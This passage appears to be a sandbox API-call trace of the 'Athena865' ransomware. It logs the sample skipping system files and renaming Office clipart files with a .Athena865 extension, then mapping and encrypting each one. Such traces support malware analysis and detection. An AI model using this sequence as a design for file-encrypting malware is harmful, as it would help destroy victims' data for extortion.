lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.700] lstrlenW (lpString="ade") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.700] lstrlenW (lpString="adf") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.700] lstrlenW (lpString="adn") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.700] lstrlenW (lpString="adp") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.700] lstrlenW (lpString="alf") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.700] lstrlenW (lpString="ask") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.701] lstrlenW (lpString="btr") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.701] lstrlenW (lpString="cat") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.701] lstrlenW (lpString="cdb") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.701] lstrlenW (lpString="ckp") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.701] lstrlenW (lpString="cma") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.701] lstrlenW (lpString="cpd") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.701] lstrlenW (lpString="dacpac") returned 6 [0135.701] lstrcmpiW (lpString1="2_.GIF", lpString2="dacpac") returned -1 [0135.701] lstrlenW (lpString="dad") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.701] lstrlenW (lpString="dadiagrams") returned 10 [0135.701] lstrcmpiW (lpString1="01742_.GIF", lpString2="dadiagrams") returned -1 [0135.701] lstrlenW (lpString="daschema") returned 8 [0135.701] lstrcmpiW (lpString1="742_.GIF", lpString2="daschema") returned -1 [0135.701] lstrlenW (lpString="db-journal") returned 10 [0135.701] lstrcmpiW (lpString1="01742_.GIF", lpString2="db-journal") returned -1 [0135.701] lstrlenW (lpString="db-shm") returned 6 [0135.701] lstrcmpiW (lpString1="2_.GIF", lpString2="db-shm") returned -1 [0135.701] lstrlenW (lpString="db-wal") returned 6 [0135.701] lstrcmpiW (lpString1="2_.GIF", lpString2="db-wal") returned -1 [0135.701] lstrlenW (lpString="dbc") returned 3 [0135.701] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.702] lstrlenW (lpString="dbs") returned 3 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.702] lstrlenW (lpString="dbt") returned 3 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.702] lstrlenW (lpString="dbv") returned 3 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.702] lstrlenW (lpString="dbx") returned 3 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.702] lstrlenW (lpString="dcb") returned 3 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.702] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.702] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.Athena865") returned 73 [0135.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.athena865"), dwFlags=0x1) returned 1 [0135.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=595) returned 1 [0135.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.706] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.706] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.706] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x154 [0135.709] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000 [0135.710] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.710] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.710] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.711] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.711] CloseHandle (hObject=0x154) returned 1 [0135.711] CloseHandle (hObject=0x17c) returned 1 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.712] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2=".") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="..") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="windows") returned -1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootmgr") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="temp") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="pagefile.sys") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="boot") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ids.txt") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ntuser.dat") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="perflogs") returned 1 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="MSBuild") returned 1 [0135.712] lstrlenW (lpString="WB01743_.GIF") returned 12 [0135.712] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01743_.GIF" | out: lpString1="WB01743_.GIF") returned="WB01743_.GIF" [0135.712] lstrlenW (lpString="WB01743_.GIF") returned 12 [0135.712] lstrlenW (lpString="Athena865") returned 9 [0135.712] lstrcmpiW (lpString1="1743_.GIF", lpString2="Athena865") returned -1 [0135.712] lstrlenW (lpString=".dll") returned 4 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2=".dll") returned 1 [0135.712] lstrlenW (lpString=".lnk") returned 4 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2=".lnk") returned 1 [0135.712] lstrlenW (lpString=".ini") returned 4 [0135.712] lstrcmpiW (lpString1="WB01743_.GIF", lpString2=".ini") returned 1 [0135.713] lstrlenW (lpString=".sys") returned 4 [0135.713] lstrcmpiW (lpString1="WB01743_.GIF", lpString2=".sys") returned 1 [0135.713] lstrlenW (lpString="WB01743_.GIF") returned 12 [0135.713] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.Athena865") returned 73 [0135.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.athena865"), dwFlags=0x1) returned 1 [0135.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.714] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1237) returned 1 [0135.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.715] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.715] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.716] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x154 [0135.719] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0135.721] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.723] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.723] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.724] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.724] CloseHandle (hObject=0x154) returned 1 [0135.724] CloseHandle (hObject=0x17c) returned 1 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.725] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2=".") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="..") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="windows") returned -1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootmgr") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="temp") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="pagefile.sys") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="boot") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ids.txt") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ntuser.dat") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="perflogs") returned 1 [0135.725] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="MSBuild") returned 1 [0135.725] lstrlenW (lpString="WB01744_.GIF") returned 12 [0135.725] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01744_.GIF" | out: lpString1="WB01744_.GIF") returned="WB01744_.GIF" [0135.725] lstrlenW (lpString="WB01744_.GIF") returned 12 [0135.725] lstrlenW (lpString="Athena865") returned 9 [0135.725] lstrcmpiW (lpString1="1744_.GIF", lpString2="Athena865") returned -1 [0135.726] lstrlenW (lpString=".dll") returned 4 [0135.726] lstrcmpiW (lpString1="WB01744_.GIF", lpString2=".dll") returned 1 [0135.726] lstrlenW (lpString=".lnk") returned 4 [0135.726] lstrcmpiW (lpString1="WB01744_.GIF", lpString2=".lnk") returned 1 [0135.726] lstrlenW (lpString=".ini") returned 4 [0135.726] lstrcmpiW (lpString1="WB01744_.GIF", lpString2=".ini") returned 1 [0135.726] lstrlenW (lpString=".sys") returned 4 [0135.726] lstrcmpiW (lpString1="WB01744_.GIF", lpString2=".sys") returned 1 [0135.726] lstrlenW (lpString="WB01744_.GIF") returned 12 [0135.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.Athena865") returned 73 [0135.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.athena865"), dwFlags=0x1) returned 1 [0135.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.728] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=799) returned 1 [0135.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.729] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.729] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.729] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x620, lpName=0x0) returned 0x154 [0135.731] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x620) returned 0x100000 [0135.733] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.734] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.734] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.735] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.735] CloseHandle (hObject=0x154) returned 1 [0135.735] CloseHandle (hObject=0x17c) returned 1 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.736] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2=".") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="..") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="windows") returned -1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootmgr") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="temp") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="pagefile.sys") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="boot") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ids.txt") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ntuser.dat") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="perflogs") returned 1 [0135.736] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="MSBuild") returned 1 [0135.736] lstrlenW (lpString="WB01745_.GIF") returned 12 [0135.736] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01745_.GIF" | out: lpString1="WB01745_.GIF") returned="WB01745_.GIF" [0135.736] lstrlenW (lpString="WB01745_.GIF") returned 12 [0135.736] lstrlenW (lpString="Athena865") returned 9 [0135.736] lstrcmpiW (lpString1="1745_.GIF", lpString2="Athena865") returned -1 [0135.736] lstrlenW (lpString=".dll") returned 4 [0135.737] lstrcmpiW (lpString1="WB01745_.GIF", lpString2=".dll") returned 1 [0135.737] lstrlenW (lpString=".lnk") returned 4 [0135.737] lstrcmpiW (lpString1="WB01745_.GIF", lpString2=".lnk") returned 1 [0135.737] lstrlenW (lpString=".ini") returned 4 [0135.737] lstrcmpiW (lpString1="WB01745_.GIF", lpString2=".ini") returned 1 [0135.737] lstrlenW (lpString=".sys") returned 4 [0135.737] lstrcmpiW (lpString1="WB01745_.GIF", lpString2=".sys") returned 1 [0135.737] lstrlenW (lpString="WB01745_.GIF") returned 12 [0135.737] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.Athena865") returned 73 [0135.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.athena865"), dwFlags=0x1) returned 1 [0135.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1452) returned 1 [0135.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.739] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.740] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x154 [0135.741] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0135.742] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.743] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.743] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.744] UnmapViewOfFile 